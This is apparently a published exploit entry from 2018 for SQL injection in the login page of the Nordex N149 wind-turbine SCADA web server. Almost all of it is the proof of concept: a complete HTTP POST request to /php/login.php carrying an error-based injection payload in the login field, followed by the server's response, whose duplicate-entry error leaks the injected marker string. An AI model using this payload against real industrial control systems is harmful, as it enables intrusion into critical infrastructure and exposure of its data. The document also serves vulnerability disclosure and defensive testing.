# Exploit Title: Nordex N149/4.0-4.5 Scada Web Server - SQL Injection # Date: 21-05-2018 # Exploit Author: Fenerove, t4rkd3vilz # Vendor Homepage: http://www.nordex-online.com # Tested on: Windows # Version: N149/4.0-4.5 # Category: webapps ---> Proof Of Concept -------- > Request POST /php/login.php HTTP/1.1 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36 Accept: */* Referer: http://IpAdress// X-Requested-With: XMLHttpRequest Accept-Language: en-us,en;q=0.5 Host: IPAdress Accept-Encoding: gzip, deflate Content-Length: 304 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 login=-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27&password=3 -------- > Response HTTP/1.1 200 OK Server: Apache Content-Length: 261 X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=UTF-8 Content-Encoding: Date: Wed, 16 May 2018 10:49:31 GMT Vary: Accept-Encoding <br /> <b>Warning</b>: mysqli::query(): (23000/1062): Duplicate entry '_!@4dilemma:1' for key 'group_key' in <b>/share/HDA_DATA/Web/php/login.php</b> on line <b>46</b><br /> <br /> <b>Notice</b>: Trying to get property of non-object in <b>/share/HDA_DATA/Web/php/login.php</b> on line <b>47</b><br /> FALSE<br /> <b>Fatal error</b>: Call to a member function free() on boolean in <b>/share/HDA_DATA/Web/php/login.php</b> on line <b>67</b><br />